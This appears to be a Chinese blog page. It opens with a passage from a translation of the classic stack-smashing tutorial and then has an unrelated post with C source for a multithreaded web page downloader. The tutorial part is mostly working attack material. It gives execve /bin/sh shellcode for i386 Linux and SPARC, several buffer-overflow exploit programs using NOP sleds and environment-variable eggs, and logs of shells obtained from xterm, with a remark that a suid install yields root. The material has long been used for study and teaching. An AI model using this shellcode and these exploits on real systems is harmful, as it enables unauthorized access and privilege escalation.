popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------

And our new test program:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------

破解实战
~~~~~~~~~~

现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被
溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------

如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在
buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任
何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址
就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我
们的shellcode中, 得到一个shell.

我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个
缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址
都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈
的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出
它的堆栈指针:

sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------

假定我们要使其溢出的程序如下:

vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------

我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起
的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符
串放到一个环境变量中, 这样就容易操作一些.

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

现在我们尝试猜测缓冲区的大小和偏移量:

------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝
试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题
的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们
也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填
充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来
填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够
幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的
shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:

内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|

堆栈顶端 堆栈底部

新的破解程序如下:

exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其
溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址
来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节.
现在使用新的破解程序来使我们的测试程序溢出:

------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一
下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有
连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设
置DISPLAY变量.

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1?F
°

?

?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
いいいいいいいいいいいいいいいいいいいいいいいいい¤

(此处截短多行输出)

いいいいいいいいいいい?いいいい
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1?F
°

?

?へ@よ?in/sh??????????????????????????????????
?????????????????????????¤

(此处截短多行输出)

?????????????arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "?1?F
°

?

?へ@よ?in/sh??????????????????????????????????
??????????????????????????

(此处截短多行输出)

?????????????arning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------

尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经
得到了一个root shell了.


小缓冲区的溢出
~~~~~~~~~~~~~~~~

有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就
会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充
足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到
一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量
时有效.

我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来
使缓冲区溢出. 这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变
量想要多大就有多大.

当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他
地方重新分配空间. 开始时的堆栈如下所示:

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

我们新的程序会使用一个额外的变量, 变量的大小能够容纳shellcode和NOP指令,
新的破解程序如下所示:

exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

用这个新的破解程序来试试我们的漏洞测试程序:

------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

成功了, 再试试xterm:

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨

(此处截短多行输出)

挨挨挨
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据
的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试.


寻找缓冲区溢出漏洞
~~~~~~~~~~~~~~~~~~~~~

如前所述, 缓冲区溢出是向一个缓冲区填充超过其处理能力的信息造成的结果. 由于C
语言没有任何内置的边界检查, 写入一个字符数组时, 如果超越了数组的结尾就会造成溢
出. 标准C语言库提供了一些没有边界检查的字符串复制或添加函数. 包括strcat(),
strcpy(), sprintf(), and vsprintf(). 这些函数对一个null结尾的字符串进行操作, 并
不检查溢出情况. gets()函数从标准输入中读取一行到缓冲区中, 直到换行或EOF. 它也不
检查缓冲区溢出. scanf()函数族在匹配一系列非空格字符(%s), 或从指定集合(%[])中匹
配非空系列字符时, 使用字符指针指向数组, 并且没有定义最大字段宽度这个可选项, 就
可能出现问题. 如果这些函数的目标地址是一个固定大小的缓冲区, 函数的另外参数是由
用户以某种形式输入, 则很有可能利用缓冲区溢出来破解它.

另一种常见的编程结构是使用while循环从标准输入或某个文件中一次读入一个字符到
缓冲区中, 直到行尾或文件结尾, 或者碰到别的什么终止符. 这种结构通常使用getc(),
fgetc(), 或getchar()函数中的某一个. 如果在while循环中没有明确的溢出检查, 这种程
序就很容易被破解.

由此可见, grep(1)是一个很好的工具命令(帮助你找到程序中可能有的漏洞). 自由操
作系统及其工具的源码是可读的. 当你意识到其实很多商业操作系统工具都和自由软件有
着相同的源码时, 剩下的事情就简单了! :-)


附录 A - 不同操作系统/体系结构的shellcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------


附录 B - 通用缓冲区溢出程序

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}

read more...

Monday, October 17, 2005

一个网页多线程下载程序

一个网页多线程下载程序

 

平台:linuxunix

语言:c

 

程序如下:

/* spider.h

 */

#include <pthread.h>

#include <stdio.h>

#include <time.h>

#include <stdlib.h>

#include <string.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <fcntl.h>

#include <limits.h>

 

// #include <pthread.h>

#include <unistd.h>

 

#include<sys/wait.h>

#include<signal.h>

#include<netdb.h>

#include<sys/socket.h>

#include<netinet/in.h>

#include<arpa/inet.h>

 

#define PORT 80                               /* default port number */

#define MAXDATASIZE 4096                      /* max buffer size */    

#define GET_CMD     "GET %s HTTP/1.0\r\nHost:%s\r\nAccept:*/*\r\nUser_Agent:myAgentr\r\nConnection:Close\r\n\r\n" /* the GET command */

 

#define URL_HEADER "http://"

#define MAX_PATH      1024

#define MAXCONN 10  /* MAX Threads allowed */

#define MAXURLS 1024           

       

pthread_mutex_t th_lock = PTHREAD_MUTEX_INITIALIZER;    /* thread lock */

int conns[MAXCONN] = {0};    /* threads counter */

 

int url_cnt = 0;       /* urls count */

int url_num = 0;     /* url index */

char * urls[MAXURLS];

 

char * read_list(char *filename, int *file_size);

void setup(pthread_attr_t *attrp);

int thread_state(int *idle_cnt);

void*  get_webpage(void *);

 

struct th_url {

       char * url;

       int th_index;

       int url_index;

};

 

struct url_arr {

       char **url;

       int len;

};

 

/* spider.c

 * multi-thread downloading webpages.

 *

 */

 

#include "spider.h"

 

int main(int argc, char *argv[]) {

       // struct stat statbuf;       /* file information */

       size_t file_size;             /* file size */

      

       int i;

       // int url_cnt;

       // int url_index;

    int th_index, idle_th;

      // struct th_url st_url[MAXCONN];

       struct url_arr th_url_arr;

      

       // static int conns[MAXCONN] = {0};  /* threads counter */

       pthread_t spiders[MAXCONN];                  /* threads */

       pthread_attr_t attr;

      

       // FILE *fp;

       char *filename = "urllist.txt";

       char *buffer, *p;

       char *url;

       // char *urls[MAXURLS];

      

       printf("Reading data!...\n");

       /* read urllist */

       if((buffer = read_list(filename, &file_size))<0) {

              printf("Error reading file!\n");

              exit(1);

       }

      

       printf("Parsing date....\n");

      

       /* parse \n to \0 */

       i = 0;

       url_cnt = 0;

       urls[0] = buffer;

       while(i<file_size - 1) {

              if(buffer[i] == '\n') {

                     buffer[i] = '\0';

                     ++url_cnt;

                     if(url_cnt >= MAXURLS) {

                            break;

                     }

                     urls[url_cnt] = &buffer[i+1];

              }

              ++i;

       }

       buffer[file_size - 1] = '\0';

       ++url_cnt;

      

       th_url_arr.url = urls;

       th_url_arr.len = url_cnt;

      

       // buffer[0] = buffer[0]=='\n'?'\0':buffer[0];

       /*if(buffer[0] == '\n') {

              buffer[0] = '\0';

              ++url_cnt;

       }*/

      

       p = buffer;

       printf("urls count: %d\n", url_cnt);

      

       for(i = 0; i<url_cnt; i++) {

              printf("%s\n", p);

              p += strlen(p) + 1;

       }

      

       setup(&attr);   /* initialize threads */

      

       url = buffer;

       // url_index = 0;

      

       i = MAXCONN + 1;

       th_index = 0;

      

       /* download webpages */

       while(--i) {

              if((MAXCONN - i) >= url_cnt) {

                     break;

              }

              // printf("Thread: %d created!\n", MAXCONN-i);

              // if((th_index = thread_state(NULL)) < 0) { /* max threads */

                     /*if(url_index >= url_cnt) {

                            break;

                     }*/

              //     sleep(1);  /* wait 1 second */

              //     continue;

              //}

              /* start a thread to download webpage */

              // while((url_index < url_cnt) && (*url == '\0')) {

              //     ++url;

              //     ++url_index;

              // }

              /*while(*url == ' ') {

                     ++url;

              }

             

              if(url_index >= url_cnt) {

                     th_index = thread_state(&idle_th);

                     if(idle_th >= MAXCONN) {

                            break;

                     }

                     sleep(1);

                     continue;

              }

             

              st_url[th_index].url = url;

              st_url[th_index].th_index = th_index;

              st_url[th_index].url_index = url_index;

             

              pthread_mutex_lock(&th_lock);

              conns[th_index] = 1;

              pthread_mutex_unlock(&th_lock);

             

              printf("In thread %d\nURL is: %s\nurl_index: %d\n", th_index, url, url_index);

              */

             

              pthread_create(&spiders[th_index], NULL/*&attr*/, get_webpage,(void *) &th_url_arr);      

              ++th_index;

              /* create thread */  

             

              // sleep(1);     

              //

              // url += strlen(url) + 1;

              // ++url_index;

       }

      

       i = 0;

       while(i < MAXCONN) {

              if(i >= url_cnt) {

                     break;

              }

              if(pthread_join(spiders[i], NULL) == 0) {

                     // printf("Thread %d exit success!\n", i);

              }

              else {

                     // printf("Thread %d exit error!\n", i);

              }

              ++i;

       }

      

       // sleep(5);

      

       /* free buffer */

       free(buffer);

       return EXIT_SUCCESS;

}

 

/* read urllist from file */

char* read_list(char *filename, int *file_size) {

       struct stat statbuf;   /* file information */

//     size_t file_size;       /* file size */

       FILE *fp;

       char *buffer;

       /* open file: urllist.txt */

       if((fp = fopen(filename, "r"))==NULL) {

              printf("Error! Can't open file: %s!\n", filename);

              return NULL;

       }

       /* file status */

       if (stat(filename, &statbuf) < 0) {

              printf("Error! Can't get status of file!\n");

              fclose(fp);

              return NULL;

       }

       *file_size = statbuf.st_size;

       /* allocate buffer */

       if((buffer=(char*)malloc(*file_size))==NULL) {

              printf("Error!Can'tallocatebuffer!\n");

              fclose(fp);

              return NULL;

       }

       /* read file */

       fread(buffer, 1, *file_size, fp);

       /* close file */

       fclose(fp);

       return buffer;

}

 

/* initialize the status variables and set

 * the thread attribute to detached

 */

 

void setup(pthread_attr_t *attrp) {

       pthread_attr_init(attrp);

       pthread_attr_setdetachstate(attrp, PTHREAD_CREATE_DETACHED);

}

 

/* thread status

 * return the min idle thread num

 */

int thread_state(int *idle_cnt) {

       int i,low_index,  cnt;

       low_index = -1;

       cnt = 0;

      

       pthread_mutex_lock(&th_lock);   

       for(i = 0; i < MAXCONN; ++i) {

              if( conns[i] == 0 ) {

                     if(low_index == -1) {

                            low_index = i;

                            // conns[i] = 1;

                     }

                     ++cnt;

              }

       }

       pthread_mutex_unlock(&th_lock);

      

       if(idle_cnt != NULL) {

              *idle_cnt = cnt;

       }

       return low_index;

}

 

void* get_webpage(void* url)

{

       int sockfd,numbytes;

       int ret, url_len, url_index, port = PORT;

       int i, j;

       int is_pagehead;

       char buf[MAXDATASIZE];

       char filename[MAX_PATH];

      

       struct hostent *he;

       struct sockaddr_in serv_addr;

       struct th_url st_url;// = (struct th_url *)url;

       struct url_arr *th_url_arr = (struct url_arr *)(url);

      

       FILE *fin, *fout;

       char *p, *p_url;

    char buffer[1024];

       char daemon_name[MAX_PATH], url_path[MAX_PATH];

       char cmd_line[MAX_PATH];

       char *url_head = "http://";

       char ch_port[6];

      

       while(1) {

      

              pthread_mutex_lock(&th_lock);

       // st_url = *(struct th_url *) url;

       // conns[st_url.th_index] = 1;

       url_index = url_num;

       ++url_num;

      

       pthread_mutex_unlock(&th_lock);

      

       if(url_index >= url_cnt) {

              break;

       }

       printf("url_index: %d\n", url_index);

 

      

       p = th_url_arr->url[url_index];

 

      

       if((p_url = strstr(p, url_head)) != NULL) {

              printf("URL is: %s\n", p);

              if (p_url == p) {                        

                     /* URL starts with http:// */

                     printf("url_head: %s exist!\n", url_head);

                     p += strlen(url_head);

              }

       }

       i = 0;

       url_len = strlen(p); /* url length */

       while(i < url_len) {       /* get the host */

              if((daemon_name[i] = p[i]) == '/') {

                     break;

              }

              if(daemon_name[i] == ':') {

                     break;

              }

              ++i;       

       }

       daemon_name[i] = '\0';

       puts(daemon_name);

      

       p += i;

      

       port = PORT;

      

       if(*p == ':') {

              i = 0;

              ++p;

              while((ch_port[i] = *p) != '/' && *p != '\0') {

                     ++p;

                     ++i;

              }

              ch_port[i] = '\0';

              port = atoi(ch_port);

       }

      

       j = i = 0;

       url_len = strlen(p);

       while(i < url_len) {       /* get the url path */

              if((url_path[j] = p[i])=='\0') {

                     break;

              }

              if(url_path[j] == ' ') {

                     url_path[j++] = '%';

                     url_path[j++] = '2';

                     url_path[j] = '0';

              }

              ++i;

              ++j;

       }

       url_path[j] = '\0';

       puts(url_path);

      

       if(*url_path == '\0') {    /* path is null */

              snprintf(url_path, sizeof(url_path), "/");

       }

      

       /* GET command */

       snprintf(cmd_line, sizeof(cmd_line), GET_CMD, url_path, daemon_name);

       snprintf(filename, sizeof(filename), "%d.html", url_index);

      

       // snprintf(buffer, sizeof(buffer), "test!!");

       // printf("%s\n", buffer);

      

       /*if(argc!=2)

       {

              fprintf(stderr,"usage:clienthostname\n");

              exit(1);

       }*/

 

      

       if((he=gethostbyname(daemon_name))==NULL)

       {

              herror("gethostbyname");

              // pthread_mutex_lock(&th_lock);

              // conns[st_url.th_index] = 0;

              // pthread_mutex_unlock(&th_lock);

              // return 0;

              continue;

       }

       printf("Host name : %s\n", he->h_name);

       printf("Host IP         : %s\n", inet_ntoa(*(struct in_addr*)(he->h_addr)));

       printf("File name : %s\n", filename);

      

       sockfd = socket(AF_INET, SOCK_STREAM, 0);

      

       serv_addr.sin_family=AF_INET;

       serv_addr.sin_port=htons(port);

       // serv_addr.sin_addr = *((struct in_addr*)(he->h_addr));

       bcopy(he->h_addr, (struct sockaddr*)&serv_addr.sin_addr, he->h_length);

 

       bzero(&(serv_addr.sin_zero),8);

      

       if((ret=connect(sockfd,(struct sockaddr*)&serv_addr,sizeof(serv_addr)))<0)

       {

              // printf("connect to server error!\n");

              perror("connect");

              close(sockfd);

              /*pthread_mutex_lock(&th_lock);

              conns[st_url.th_index] = 0;

              pthread_mutex_unlock(&th_lock);

              return 0;

              */

              continue;

       }

       // numbytes =       

       send(sockfd, cmd_line, strlen(cmd_line),0);

       fout = fopen(filename, "w");

       is_pagehead = 1;

       while(1) {

              if((numbytes=recv(sockfd, buf, MAXDATASIZE,0))<=0)

              {

                     // perror("recv");

                     // exit(1);

                     break;

              }

              // printf("receive size: %d\n", numbytes);

              buf[numbytes]='\0';

              p = buf;

              if(is_pagehead) {    /* remove header information */

                     is_pagehead = 0;

                    

                     if((p=strstr(buf, "\r\n\r\n")) != NULL) {

                            p += strlen("\r\n\r\n");

                     }

                     else

                            p = buf;

              }

              // fputs(buf,fout);

              // printf("Write to file: %s\n", filename);

              fwrite(p,sizeof(char), strlen(p), fout);

              // printf("contents:\n%s\n",buf);

       }

       printf("End writen to file: %s\tSuccess download: %s\n", filename, th_url_arr->url[url_index]);

       close(sockfd);

       fclose(fout);

      

       }     /* end while(1) */

      

       /*

       pthread_mutex_lock(&th_lock);

       conns[st_url.th_index] = 0;

       pthread_mutex_unlock(&th_lock);

       */                     

       return 0;

}

 

下面urllist文件,文件格式为每一行为一个url链接地址,示例如下,并保存为urllist.txt

http://www.baidu.com/s?wd=%C9%F9%B3%A1&cl=3

www.baidu.com

www.baidu.com:80

http://www.google.com:80/

http://www.sina.com.cn

http://sports.sina.com.cn/g/2005-06-29/01071638335.shtml

http://59.66.122.77/ftpsoft/pub/EBooks/incomingEBooks/EE&COMM/%20%20by shmilytan/

http://59.66.122.77/ftpsoft/pub/EBooks/incomingEBooks/EE&COMM/

http://mujiebule.nease.net/shengchang/1.htm

http://www.12soundfield.com/

http://www.yesky.com/249/1763249.shtml

http://www.gxyx.cn/newyx/News_Show2.asp?NewsID=933

http://www.ecgoogle.com/zhanjiang/projectdesign/Info_View.asp?ContentID=117

read more...